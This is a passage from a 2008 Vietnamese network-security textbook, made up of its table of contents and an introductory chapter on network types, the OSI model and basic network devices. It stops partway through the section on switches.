202
Cơ sở lý thuyết vBO MT MNG

Co so ly thuyet ve bao mat

Embed Size (px)

Citation preview

Page 1: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về

BẢO MẬT MẠNG

Page 2: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2

MỤC LỤC

PHẦN 1: TỔNG QUAN AN NINH MẠNG....................................................... 12

CHƯƠNG 1: TỔNG QUAN VỀ MẠNG MÁY TÍNH ....................................... 13

1. Khái niệm ....................................................................................................... 13

2. Phân loại mạng máy tính ................................................................................. 13

2.1. Mạng quảng bá (broadcast network): ....................................................... 13

2.2. Mạng điểm nối điểm (point-to-point network): ....................................... 13

2.3. LAN .......................................................................................................... 14

2.4. MAN ......................................................................................................... 15

2.5. WAN ........................................................................................................ 15

2.6. Mạng không dây ....................................................................................... 17

2.7. Liên mạng ................................................................................................. 17

3. Mô hình tham chiếu OSI ................................................................................. 17

4. Các thiết bị mạng cơ bản ................................................................................. 21

5. Các dịch vụ mạng ............................................................................................ 23

5.1. Hệ thống tên miền DNS .......................................................................... 23

5.2. Dịch vụ DHCP ........................................................................................ 27

5.3. Dịch vụ Web (HTTP) .............................................................................. 29

5.4. Dịch vụ truyền tệp tin FTP ...................................................................... 30

5.5. Dịch vụ thư điện tử .................................................................................. 30

Page 3: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

3

CHƯƠNG 2: GIỚI THIỆU VỀ AAA .................................................................. 33

1. Khái niệm: ....................................................................................................... 33

2. Kiểm soát truy cập (Access Control) .............................................................. 33

2.1. Khái niệm ................................................................................................. 33

2.2. Các phương pháp kiểm soát truy cập ....................................................... 33

3. Xác thực truy cập (Authentication) ................................................................. 35

3.1. Khái niệm ................................................................................................. 35

3.2. Kerberos ................................................................................................... 35

3.3. Xác thực dựa trên username/password .................................................... 39

3.4. CHAP (Challenge Handshake Authentication Protocol) ......................... 39

3.5. TOKEN .................................................................................................... 40

3.6. Chứng chỉ số (Certificates) ...................................................................... 40

3.7. Sinh trắc học (Biometrics) ....................................................................... 43

3.8. Xác thực kết hợp nhiều nhân tố (Multi-Factor) ....................................... 43

3.9. Xác thực lẫn nhau (Mutual Authentication) ............................................ 44

4. Giám sát thống kê (Accounting) ..................................................................... 44

PHẦN 2: AN NINH HẠ TẦNG .......................................................................... 45

CHƯƠNG 1: MÔ HÌNH MẠNG BẢO MẬT ..................................................... 46

1. Lời mở đầu ...................................................................................................... 46

2. Phân đoạn mạng (Segmentation) .................................................................... 46

3. Các điểm truy cập (Network Access Points) .................................................. 47

Page 4: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

4

4. Router và Switch ............................................................................................. 48

5. Tường lửa ........................................................................................................ 48

6. Thiết bị phát hiện/ngăn chặn xâm nhập .......................................................... 49

7. Truy cập từ xa (Remote Access) ..................................................................... 50

8. Security Event Management (Thiết bị quản lý sự kiện tập trung) .................. 51

9. Hệ thống dò tìm điểm yếu (Vulnerability Management) ................................ 51

CHƯƠNG 2: TƯỜNG LỬA ................................................................................ 53

1. Khái niệm ........................................................................................................ 53

2. Các công nghệ tường lửa ................................................................................. 53

2.1. Packet Filtering (lọc gói tin) .................................................................... 53

2.2. Application Filtering (lọc ứng dụng) ....................................................... 56

2.3. Stateful Inspection Firewall ..................................................................... 57

CHƯƠNG 3: THIẾT BỊ PHÁT HIỆN/NGĂN CHẶN XÂM NHẬP ............... 59

1. Khái niệm ........................................................................................................ 59

2. Các loại IDS/IPS ............................................................................................. 60

2.1. Phân loại theo phạm vi hoạt động ............................................................ 60

2.2. Phân loại theo nguyên lý hoạt động của IDS/IPS .................................... 62

CHƯƠNG 4. MẠNG RIÊNG ẢO ........................................................................ 64

1. Khái niệm ........................................................................................................ 64

2. Các loại VPN ................................................................................................... 65

2.1. VPN truy cập từ xa ................................................................................... 65

Page 5: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

5

2.2. VPN điểm-nối-điểm ................................................................................. 65

CHƯƠNG 5. VLAN .............................................................................................. 67

1. Khái niệm ........................................................................................................ 67

2. Ứng dụng của VLAN ...................................................................................... 67

2.1. Tiết kiệm chi phí ...................................................................................... 67

2.2. Tiết kiệm băng thông của hệ thống mạng ................................................ 68

2.3. Tăng khả năng bảo mật ............................................................................ 68

2.4. Dễ dàng thêm hay bớt máy tính vào VLAN ............................................ 68

2.5. Giúp mạng có tính linh động cao ............................................................. 68

CHƯƠNG 6. NETWORK ADDRESS TRANSLATION .................................. 69

1. Khái niệm ........................................................................................................ 69

2. Phân loại NAT ................................................................................................. 69

2.1. Static NAT (NAT tĩnh) ............................................................................ 69

2.2. Dynamic NAT hay Pooled NAT (NAT động) ......................................... 70

2.3. Port Address Translation (PAT) .............................................................. 70

CHƯƠNG 7. AN NINH TRUYỀN DẪN VÀ LƯU TRỮ .................................. 72

1. Cáp đồng trục .................................................................................................. 72

2. Cáp UTP/STP .................................................................................................. 73

3. Cáp Quang ....................................................................................................... 73

4. Các thiết bị lưu trữ........................................................................................... 75

CHƯƠNG 8. CHÍNH SÁCH AN NINH MẠNG ................................................ 76

Page 6: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

6

1. Khái niệm ........................................................................................................ 76

2. Các thành phần của một chính sách an ninh mạng ......................................... 77

CHƯƠNG 9. CÁC NGUYÊN TẮC CƠ BẢN .................................................... 80

PHẦN 3: MÃ HÓA .............................................................................................. 81

CHƯƠNG 1. CĂN BẢN VỀ MÃ HÓA ............................................................... 83

CHƯƠNG 2. CÁC THUẬT TOÁN MÃ HÓA ................................................... 85

1. Khái niệm ........................................................................................................ 85

2. Phân loại các thuật toán mã hoá ...................................................................... 86

2.1. Mã hóa cổ điển ......................................................................................... 86

2.2. Mã hóa đối xứng ...................................................................................... 87

2.3. Mã hóa bất đối xứng................................................................................. 90

2.4. Mã hóa hàm băm (Hash Function) ........................................................... 92

2.5. Chữ ký điện tử .......................................................................................... 93

CHƯƠNG 3. HẠ TẦNG KHÓA CÔNG KHAI PKI ......................................... 97

1. Tổng quan về PKI ........................................................................................... 97

2. Các thành phần và hoạt động của PKI ............................................................ 97

3. Một số hệ thống PKI ..................................................................................... 100

4. Kết luận ......................................................................................................... 101

CHƯƠNG 4. TIÊU CHUẨN VÀ CÁC GIAO THỨC ..................................... 102

1. Tiêu chuẩn mã hóa ........................................................................................ 102

2. Các giao thức mã hóa ................................................................................... 102

Page 7: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

7

2.1. Khái niệm ............................................................................................... 102

2.2. Các giao thức mã hóa phổ biến .............................................................. 103

PHẦN 4: AN NINH ỨNG DỤNG ..................................................................... 109

CHƯƠNG 1: AN NINH TRONG TRUY CẬP TỪ XA ................................... 110

1. 802.1x ........................................................................................................... 110

1.1. Những vấn đề an ninh của mạng không dây .......................................... 111

1.2. Các biện pháp bảo mật cho WLAN ....................................................... 111

2. Virtual Private Network ................................................................................ 111

3. RADIUS ........................................................................................................ 112

3.1. Khái niệm ............................................................................................... 112

3.2. Quá trình chứng thực của RADIUS ....................................................... 113

4. PPTP/L2TP .................................................................................................... 114

4.1. PPTP ....................................................................................................... 115

4.2. L2TP ....................................................................................................... 115

4.3. Những điểm khác biệt chính giữa PPTP và L2TP ................................. 115

5. SSH ................................................................................................................ 116

5.1. Khái niệm ............................................................................................... 116

5.2. Hoạt động của SSH ................................................................................ 116

6. IPSEC ............................................................................................................ 117

7. Tóm tắt nội dung chương .............................................................................. 118

CHƯƠNG 2: AN NINH WEB ............................................................................ 119

Page 8: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

8

1. Khái niệm ứng dụng Web ............................................................................. 119

2. Hoạt động của một ứng dụng Web ............................................................... 120

3. Tổng quan về các kỹ thuật tấn công ứng dụng Web ..................................... 121

2.1. Kiểm soát truy cập Web (Web Access Control) .................................... 121

2.2. Chiếm hữu phiên làm việc (Session Management) ............................... 121

2.3. Lợi dụng những lỗ hổng trong việc kiểm tra dữ liệu hợp lệ (Input

Validation) ..................................................................................................... 122

2.4. Để lộ thông tin (Informational) .............................................................. 123

2.5. Tấn công từ chối dịch vụ ........................................................................ 124

4. Các kỹ thuật tấn công phổ biến ..................................................................... 124

4.1. Thao tác trên tham số truyền .................................................................. 124

4.2. Cross Site Scripting ................................................................................ 129

4.3. SQL Injection ......................................................................................... 131

5. Các biện pháp phòng chống chung ............................................................... 135

5.1. Đối với người quản trị hệ thống ............................................................. 135

5.2. Đối với người lập trình Web .................................................................. 136

5.3. Đối với người sử dụng ........................................................................... 137

CHƯƠNG 3: THƯ ĐIỆN TỬ VÀ CÁC VẤN ĐỀ AN NINH ......................... 138

1. Khái niệm ...................................................................................................... 138

2. Giao thức MIME ........................................................................................... 138

3. Giao thức bảo mật S/MIME .......................................................................... 139

Page 9: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

9

4. Phần mềm PGP.............................................................................................. 139

5. Những vấn đề an ninh với thư điện tử .......................................................... 139

5.1. SMTP Relay ........................................................................................... 140

5.2. Vấn đề đối với Virus .............................................................................. 141

5.3. SPAM ..................................................................................................... 141

CHƯƠNG 4: BUFFER OVERFLOWS ............................................................ 149

1. Khái niệm ...................................................................................................... 149

2. Chống tràn bộ đệm ........................................................................................ 150

2.1. Lựa chọn ngôn ngữ lập trình .................................................................. 150

2.2. Sử dụng các thư viện an toàn ................................................................. 151

2.3. Chống tràn bộ nhớ đệm trên stack ......................................................... 152

2.4. Bảo vệ không gian thực thi .................................................................... 152

2.5. Ngẫu nhiên hóa sơ đồ không gian địa chỉ .............................................. 153

2.6. Kiểm tra sâu đối với gói tin .................................................................... 153

2.7. Thường xuyên cập nhật, cài đặt các bản vá lỗi. ..................................... 153

2.8. Đánh giá mức độ an toàn của chương trình phần mềm ......................... 153

CHƯƠNG 5: AN NINH ỨNG DỤNG – NHỮNG NGUYÊN TẮC CƠ BẢN 154

PHẦN 5: CÔNG CỤ BẢO MẬT MẠNG ......................................................... 156

Yêu cầu kiến thức ................................................................................................ 156

CHƯƠNG 1. KIỂM TRA KẾT NỐI TRÊN MÁY TÍNH ............................... 157

1. Công cụ NETSTAT ....................................................................................... 157

Page 10: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

10

2. Phần mềm TCPView ..................................................................................... 158

CHƯƠNG 2. QUÉT CỔNG ............................................................................... 161

1. Công cụ SuperScan ....................................................................................... 161

2. Network Mapper (NMAP) ............................................................................ 164

CHƯƠNG 3. PHÂN TÍCH DỮ LIỆU MẠNG ................................................. 171

1. Phần mềm Ethereal........................................................................................ 171

2. Microsoft Network Monitor .......................................................................... 178

CHƯƠNG 4. QUÉT LỖ HỔNG MÁY TÍNH ................................................. 183

1. Microsoft Baseline Security Analyzer .......................................................... 183

2. GFI LanGuard Network Security Scanner .................................................... 187

PHẦN 6: CASE-STUDY .................................................................................... 195

Case-Study 1 ........................................................................................................ 196

Case-study 2 ......................................................................................................... 197

Case-Study 3 ........................................................................................................ 198

Case-Study 4 ........................................................................................................ 199

PHẦN 7: TÀI LIỆU THAM KHẢO ................................................................ 200

Page 11: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

11

Page 12: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

12

PHẦN 1

TỔNG QUAN AN NINH MẠNG

Page 13: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

13

CHƯƠNG 1: TỔNG QUAN VỀ MẠNG MÁY TÍNH

1. Khái niệm

Về cơ bản, một mạng máy tính là một nhóm máy tính nối nhau với nhau theo một

số cách sao cho người ta có thể chia se thông tin và thiết bị. Các máy tính có thể

kết nối trong cung một phòng, một tòa nhà, một thành phố, hay quanh thế giới.

Qui mô một mạng máy tính có tính mở, có thể chỉ bao gồm hai máy tính, nhưng

cũng có thể là hàng triệu chiếc.

Nếu nối hai máy tính ở nhà, ta đã tạo ra một mạng. Tất cả máy tính trong một

trường học hay thư viện hoặc công ty được nối với nhau tạo thành mạng lớn hơn.

Mạng máy tính lớn nhất thế giới là Internet, có hàng triệu máy tính trên khắp toàn

cầu được nối với nhau, và số máy tính kết nối vào mạng Internet ngày càng gia

tăng nhanh chóng theo tốc độ phát triển của các mạng viễn thông và kiến thức về

tin học của cộng đồng dân cư.

2. Phân loại mạng máy tính

Trong kỹ thuật mạng, việc quan trọng nhất là vận chuyển dữ liệu giữa các máy.

Nói chung sẽ có hai phương thức là:

2.1. Mạng quảng bá (broadcast network): bao gồm một kênh truyền thông

được chia se cho mọi máy trong mạng. Mẫu thông tin ngắn gọi là gói (packet)

được gửi ra bởi một máy bất kỳ thì sẽ tới được tất cả máy khác. Trong gói sẽ có

một phần ghi địa chỉ gói đó muốn gửi tới. Khi nhận các gói, mỗi máy sẽ kiểm tra

lại phần địa chỉ này. Nếu một gói là dành cho đúng máy đang kiểm tra thì sẽ đưọc

xử lý tiếp, bằng không thì bỏ qua.

2.2. Mạng điểm nối điểm (point-to-point network): bao gồm nhiều mối nối

giữa các cặp máy tính với nhau. Để chuyển từ nguồn tới đích, một gói có thể phải

đi qua các máy trung gian. Thường thì có thể có nhiều đường di chuyển có độ dài

khác nhau (từ máy nguồn tới máy đích với số lượng máy trung gian khác nhau).

Thuật toán để định tuyến đường truyền giữ vai trò quan trọng trong kỹ thuật này.

Dưới đây là đối tượng chính của phần cứng mạng:

Page 14: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

14

2.3. LAN

LAN (local area network), hay còn gọi là "mạng cục bộ", là mạng tư nhân trong

một toà nhà, một khu vực (trường học hay cơ quan chẳng hạn) có cỡ chừng vài km.

Chúng nối các máy chủ và các máy trạm trong các văn phòng và nhà máy để chia

se tài nguyên và trao đổi thông tin. LAN có 3 đặc điểm:

Giới hạn về tầm cỡ phạm vi hoạt động từ vài mét cho đến 1 km.

Thường dung kỹ thuật đơn giản chỉ có một đường dây cáp (cable) nối tất cả máy.

Vận tốc truyền dữ liệu thông thường là 10 Mbps, 100 Mbps, 1 Gbps, và gần đây là

10 Gbps.

Các kiến trúc mạng kiểu LAN thông dụng bao gồm:

Mạng bus hay mạng tuyến tính. Các máy nối nhau một cách liên tục thành một

hàng từ máy này sang máy kia. Ví dụ của nó là Ethernet (chuẩn IEEE 802.3).

Mạng vòng. Các máy nối nhau như trên và máy cuối lại được nối ngược trở lại với

máy đầu tiên tạo thành vòng kín. Thí dụ mạng vòng the bài IBM (IBM token ring).

Mạng sao.

Mạng tuyến tính và mạng vòng trong LAN

Page 15: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

15

2.4. MAN

MAN (từ Anh ngữ: metropolitan area network), hay còn gọi là "mạng đô thị", là

mạng có cỡ lớn hơn LAN, phạm vi vài km. Nó có thể bao gồm nhóm các văn

phòng gần nhau trong thành phố, nó có thể là công cộng hay tư nhân và có đặc

điểm:

Chỉ có tối đa hai dây cáp nối.

Không dung các kỹ thuật nối chuyển.

Có thể hỗ trợ chung vận chuyển dữ liệu và đàm thoại, hay ngay cả truyền hình.

Ngày nay người ta có thể dung kỹ thuật cáp quang (fiber optical) để truyền tín

hiệu. Vận tốc có hiện nay thể đạt đến 10 Gbps.

Ví dụ của kỹ thuật này là mạng DQDB (Distributed Queue Dual Bus) hay còn gọi

là bus kép theo hàng phân phối (tiêu chuẩn IEEE 802.6).

2.5. WAN

WAN (wide area network), còn gọi là "mạng diện rộng", dung trong vung địa lý

lớn thường cho quốc gia hay cả lục địa, phạm vi vài trăm cho đến vài ngàn km.

Chúng bao gồm tập họp các máy nhằm chạy các chương trình cho người dùng. Các

máy này thường gọi là máy lưu trữ(host) hay còn có tên là máy chủ, máy đầu cuối

(end system). Các máy chính được nối nhau bởi các mạng truyền thông con

(communication subnet) hay gọn hơn là mạng con (subnet). Nhiệm vụ của mạng

con là chuyển tải các thông điệp(message) từ máy chủ này sang máy chủ khác.

Page 16: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

16

Mạng con thường có hai thành phần chính:

Các đường dây vận chuyển còn gọi là mạch (circuit), kênh (channel), hay đường

trung chuyển (trunk).

Các thiết bị nối chuyển. Đây là loại máy tính chuyện biệt hoá dung để nối hai hay

nhiều đường trung chuyển nhằm di chuyển các dữ liệu giữa các máy. Khi dữ liệu

đến trong các đường vô, thiết bị nối chuyển này phải chọn (theo thuật toán đã định)

một đường dây ra để gửi dữ liệu đó đi. Tên gọi của thiết bị này là nút chuyển gói

(packet switching node) hay hệ thống trung chuyển (intermediate system). Máy

tính dung cho việc nối chuyển gọi là "bộ chọn đường" hay "bộ định tuyến"

(router).

Hầu hết các WAN bao gồm nhiều đường cáp hay là đường dây điện thoại, mỗi

đường dây như vậy nối với một cặp bộ định tuyến. Nếu hai bộ định tuyến không

nối chung đường dây thì chúng sẽ liên lạc nhau bằng cách gián tiếp qua nhiều bộ

định truyến trung gian khác. Khi bộ định tuyến nhận được một gói dữ liệu thì nó sẽ

chứa gói này cho đến khi đường dây ra cần cho gói đó được trống thì nó sẽ chuyển

gói đó đi. Trường hợp này ta gọi là nguyên lý mạng con điểm nối điểm, hay

nguyên lý mạng con lưu trữ và chuyển tiếp (store-and-forward), hay nguyên lý

mạng con nối chuyển gói.

Có nhiều kiểu cấu hình cho WAN dung nguyên lý điểm tới điểm như là dạng sao,

dạng vòng, dạng cây, dạng hoàn chỉnh, dạng giao vòng, hay bất định.

Page 17: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

17

2.6. Mạng không dây

Các thiết bị cầm tay hay bỏ túi thường có thể liên lạc với nhau bằng phương pháp

không dây và theo kiểu LAN. Một phương án khác được dung cho điện thoại cầm

tay dựa trên giao thức CDPD (Cellular Digital Packet Data) hay là dữ liệu gói kiểu

cellular số.

Các thiết bị không dây hoàn toàn có thể nối vào mạng thông thường (có dây) tạo

thành mạng hỗn hợp (trang bị trên một số máy bay chở khách chẳng hạn).

2.7. Liên mạng

Các mạng trên thế giới có thể khác biệt nhau về phần cứng và phần mềm, để chúng

liên lạc được với nhau cần phải có thiết bị gọi là cổng nối (gateway) làm nhiệm vụ

điều hợp. Một tập hợp các mạng nối kết nhau được gọi là liên mạng. Dạng thông

thường nhất của liên mạng là một tập hợp nhiều LAN nối nhau bởi một WAN.

3. Mô hình tham chiếu OSI

Vào giữa những năm 1970, các thiết bị đầu cuối sử dụng những phương pháp liên

kết qua đường cáp nằm trong một khu vực đã được ra đời, với những ưu điểm của

nó là nâng cao tốc độ truyền dữ liệu và qua đó kết hợp được khả năng tính toán của

các máy tính lại với nhau. Ðể thực hiện việc nâng cao khả năng tính toán với nhiều

máy tính các nhà sản xuất bắt đầu xây dựng các mạng phức tạp hơn. Vào những

năm 1980 các hệ thống đường truyền tốc độ cao đã được thiết lập ở Bắc Mỹ và

Châu Âu và từ đó cũng xuất hiện các nhà cung cấp các dịnh vụ truyền thông với

những đường truyền có tốc độ cao hơn nhiều lần so với đường dây điện thoại. Với

những chi phí thuê bao chấp nhận được, người ta có thể sử dụng được các đường

truyền này để liên kết máy tính lại với nhau và bắt đầu hình thành các mạng một

cách rộng khắp. Các mạng LAN, MAN, WAN ra đời và nhanh chóng phát triển cả

về số lượng, quy mô, chất lượng, cũng như về công nghệ.Tuy nhiên, cũng ngay

trong những năm 80, khi mà ưu thế của các loại mạng máy tính đang thể hiện rõ thì

nó cũng đặt ra những thách thức về tiêu chuẩn kết nối các thiết bị ngoại vi. Kết quả

là những hệ thống hiện có thời đó chỉ cho phép thiết bị (cả về phần cứng và phần

mềm) của một nhà sản xuất kết nối được với nhau và được gọi là hệ thống đóng.

Điều này là hết sức bất tiện cho việc triển khai mạng cũng như rất phiền toái cho

người sử dụng khi muốn lắp đặt mạng phục vụ cho công việc, cũng như hạn chế

ngăn cản việc mở rộng mạng một cách “thoải mái” cho những quy mô lớn hơn.

Page 18: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

18

Chính vì những lý do đó mà các tổ chức quốc tế cần có những quy chuẩn chung

nào đó cho việc thiết kế và lắp đặt mạng. Trên thế giới hiện có một số cơ quan định

chuẩn, họ đưa ra hàng loạt chuẩn về mạng, tuy các chuẩn đó có tính chất khuyến

nghị chứ không bắt buộc nhưng chúng rất được các cơ quan chuẩn quốc gia coi

trọng. Hai trong số các cơ quan chuẩn quốc tế là:

ISO (The International Standards Organization) - Là tổ chức tiêu chuẩn quốc

tế hoạt động dưới sự bảo trợ của Liên hợp Quốc với thành viên là các cơ quan

chuẩn quốc gia với số lượng khoảng hơn 100 thành viên với mục đích hỗ trợ sự

phát triển các chuẩn trên phạm vi toàn thế giới.

CCITT (Commité Consultatif International pour le Telegraphe et la

Téléphone) - Tổ chức tư vấn quốc tế về điện tín và điện thoại làm việc dưới sự bảo

trợ của Liên Hiệp Quốc có trụ sở chính tại Geneva - Thụy sỹ. Các thành viên chủ

yếu là các cơ quan bưu chính viễn thông các quốc gia. Tổ chức này có vai trò phát

triển các khuyến nghị trong các lãnh vực viễn thông.

Mô hình OSI (Open system interconnection – Mô hình kết nối các hệ thống mở) là

một cơ sở dành cho việc chuẩn hoá các hệ thống truyền thông, nó được nghiên cứu

và xây dựng bởi ISO. Việc nghiên cứu về mô hình OSI được bắt đầu tại ISO vào

năm 1971 với mục tiêu nhằm tới việc nối kết các sản phẩm của các hãng sản xuất

khác nhau và phối hợp các hoạt động chuẩn hoá trong các lĩnh vực viễn thông và

hệ thống thông tin. Đến năm 1984, mô hình tham chiếu OSI chính thức được đưa

ra giới thiệu.

Trước hết cần chú ý rằng mô hình 7 lớp OSI chỉ là mô hình tham chiếu chứ không

phải là một mạng cụ thể nào.Các nhà thiết kế mạng sẽ nhìn vào đó để biết công

việc thiết kế của mình đang nằm ở đâu. Xuất phát từ ý tưởng “chia để trị’, khi một

công việc phức tạp được module hóa thành các phần nhỏ hơn thì sẽ tiện lợi cho

việc thực hiện và sửa sai, mô hình OSI chia chương trình truyền thông ra thành 7

tầng với những chức năng phân biệt cho từng tầng. Hai tầng đồng mức khi liên kết

với nhau phải sử dụng một giao thức chung. Giao thức ở đây có thể hiểu đơn giản

là phương tiện để các tầng có thể giao tiếp được với nhau, giống như hai người

muốn nói chuyện được thì cần có một ngôn ngữ chung vậy. Trong mô hình OSI có

hai loại giao thức chính được áp dụng là: giao thức có liên kết (connection -

oriented) và giao thức không liên kết (connectionless).

Giao thức có liên kết: là trước khi truyền, dữ liệu hai tầng đồng mức cần thiết lập

Page 19: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

19

một liên kết logic và các gói tin được trao đổi thông qua liên kết náy, việc có liên

kết logic sẽ nâng cao độ an toàn trong truyền dữ liệu.

Giao thức không liên kết: trước khi truyền, dữ liệu không thiết lập liên kết logic

và mỗi gói tin được truyền độc lập với các gói tin trước hoặc sau nó.

Nhiệm vụ của các tầng trong mô hình OSI có thể được tóm tắt như sau:

Mô hình OSI 7 tầng

Page 20: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

20

Tầng ứng dụng (Application layer – lớp 7): tầng ứng dụng quy định giao diện

giữa người sử dụng và môi trường OSI, nó cung cấp các phương tiện cho người sử

dụng truy cập vả sử dụng các dịch vụ của mô hình OSI. Điều khác biệt ở tầng này

là nó không cung cấp dịch vụ cho bất kỳ một tầng OSI nào khác ngoại trừ tầng ứng

dụng bên ngoài mô hình OSI đang hoạt động. Các ứng dụng cung được cấp như

các chương trình xử lý kí tự, bảng biểu, thư tín … và lớp 7 đưa ra các giao thức

HTTP, FTP, SMTP, POP3, Telnet.

Tầng trình bày (Presentation layer – lớp 6): tầng trình bày chuyển đổi các thông

tin từ cú pháp người sử dụng sang cú pháp để truyền dữ liệu, ngoài ra nó có thể nén

dữ liệu truyền và mã hóa chúng trước khi truyền đễ bảo mật.Nói đơn giản thì tầng

này sẽ định dạng dữ liệu từ lớp 7 đưa xuống rồi gửi đi đảm bảo sao cho bên thu có

thể đọc được dữ liệu của bên phát. Các chuẩn định dạng dữ liệu của lớp 6 là GIF,

JPEG, PICT, MP3, MPEG …

Tầng giao dịch (Session layer – lớp 5): thực hiện thiết lập, duy trì và kết thúc các

phiên làm việc giữa hai hệ thống. Tầng giao dịch quy định một giao diện ứng dụng

cho tầng vận chuyển sử dụng. Nó xác lập ánh xạ giữa các tên đặt địa chỉ, tạo ra các

tiếp xúc ban đầu giữa các máy tính khác nhau trên cơ sở các giao dịch truyền

thông. Nó đặt tên nhất quán cho mọi thành phần muốn đối thoại riêng với

nhau.Các giao thức trong lớp 5 sử dụng là NFS, X- Window System, ASP.

Tầng vận chuyển (Transport layer – lớp 4): tầng vận chuyển xác định địa chỉ

trên mạng, cách thức chuyển giao gói tin trên cơ sở trực tiếp giữa hai đầu mút, đảm

bảo truyền dữ liệu tin cậy giữa hai đầu cuối (end-to-end). Để bảo đảm được việc

truyền ổn định trên mạng tầng vận chuyển thường đánh số các gói tin và đảm bảo

chúng chuyển theo thứ tự.Bên cạnh đó lớp 4 có thể thực hiện chức năng đièu khiển

luồng và điều khiển lỗi.Các giao thức phổ biến tại đây là TCP, UDP, SPX.

Tầng mạng (Network layer – lớp 3): tầng mạng có nhiệm vụ xác định việc

chuyển hướng, vạch đường các gói tin trong mạng(chức năng định tuyến), các gói

tin này có thể phải đi qua nhiều chặng trước khi đến được đích cuối cung. Lớp 3 là

lớp có liên quan đến các địa chỉ logic trong mạngCác giao thức hay sử dụng ở đây

là IP, RIP, IPX, OSPF, AppleTalk.

Tầng liên kết dữ liệu (Data link layer – lớp 2): tầng liên kết dữ liệu có nhiệm vụ

xác định cơ chế truy nhập thông tin trên mạng, các dạng thức chung trong các gói

tin, đóng gói và phân phát các gói tin. Lớp 2 có liên quan đến địa chỉ vật lý của các

thiết bị mạng, topo mạng, truy nhập mạng, các cơ chế sửa lỗi và điều khiển luồng.

Page 21: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

21

Tầng vật lý (Phisical layer – lớp 1): tầng vật lý cung cấp phương thức truy cập

vào đường truyền vật lý để truyền các dòng Bit không cấu trúc, ngoài ra nó cung

cấp các chuẩn về điện, dây cáp, đầu nối, kỹ thuật nối mạch điện, điện áp, tốc độ

cáp truyền dẫn, giao diện nối kết và các mức nối kết.

4. Các thiết bị mạng cơ bản

Để hệ thống mạng làm việc trơn tru, hiệu quả và khả năng kết nối tới những hệ

thống mạng khác đòi hỏi phải sử dụng những thiết bị mạng chuyên dụng. Những

thiết bị mạng này rất đa dạng và phong phú về chủng loại nhưng đều dựa trên

những thiết bị cơ bản là Repeater, Hub, Switch, Router và Gateway.

Repeater

Trong một mạng LAN, giới hạn của cáp mạng là 100m (cho loại cáp mạng CAT 5

UTP – là cáp được dung phổ biến nhất), bởi tín hiệu bị suy hao trên đường truyền

nên không thể đi xa hơn. Vì vậy, để có thể kết nối các thiết bị ở xa hơn, mạng cần

các thiết bị để khuếch đại và định thời lại tín hiệu, giúp tín hiệu có thể truyền dẫn

đi xa hơn giới hạn này. Repeater là một thiết bị ở lớp 1 (Physical Layer) trong mô

hình OSI. Repeater có vai trò khuếch đại tín hiệu vật lý ở đầu vào và cung cấp

năng lượng cho tín hiệu ở đầu ra để có thể đến được những chặng đường tiếp theo

trong mạng. Điện tín, điện thoại, truyền thông tin qua sợi quang… và các nhu cầu

truyền tín hiệu đi xa đều cần sử dụng Repeater.

Hub

Hub được coi là một Repeater có nhiều cổng. Một Hub có từ 4 đến 24 cổng và có

thể còn nhiều hơn. Trong phần lớn các trường hợp, Hub được sử dụng trong các

mạng 10BASE-T hay 100BASE-T. Khi cấu hình mạng là hình sao (Star topology),

Hub đóng vai trò là trung tâm của mạng. Với một Hub, khi thông tin vào từ một

cổng và sẽ được đưa đến tất cả các cổng khác. Hub có 2 loại là Active Hub và

Smart Hub. Active Hub là loại Hub được dung phổ biến, cần được cấp nguồn khi

hoạt động, được sử dụng để khuếch đại tín hiệu đến và cho tín hiệu ra những cổng

còn lại, đảm bảo mức tín hiệu cần thiết. Smart Hub (Intelligent Hub) có chức năng

tương tự như Active Hub, nhưng có tích hợp thêm chip có khả năng tự động dò lỗi

- rất hữu ích trong trường hợp dò tìm và phát hiện lỗi trong mạng.

Page 22: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

22

Bridge

Bridge là thiết bị mạng thuộc lớp 2 của mô hình OSI (Data Link Layer). Bridge

được sử dụng để ghép nối 2 mạng để tạo thành một mạng lớn duy nhất. Bridge

được sử dụng phổ biến để làm cầu nối giữa hai mạng Ethernet. Bridge quan sát các

gói tin (packet) trên mọi mạng. Khi thấy một gói tin từ một máy tính thuộc mạng

này chuyển tới một máy tính trên mạng khác, Bridge sẽ sao chép và gửi gói tin này

tới mạng đích. Ưu điểm của Bridge là hoạt động trong suốt, các máy tính thuộc các

mạng khác nhau vẫn có thể gửi các thông tin với nhau đơn giản mà không cần biết

có sự "can thiệp" của Bridge. Một Bridge có thể xử lý được nhiều lưu thông trên

mạng như Novell, Banyan... cũng như là địa chỉ IP cung một lúc. Nhược điểm của

Bridge là chỉ kết nối những mạng cung loại và sử dụng Bridge cho những mạng

hoạt động nhanh sẽ khó khăn nếu chúng không nằm gần nhau về mặt vật lý.

Switch

Switch đôi khi được mô tả như là một Bridge có nhiều cổng. Trong khi một Bridge

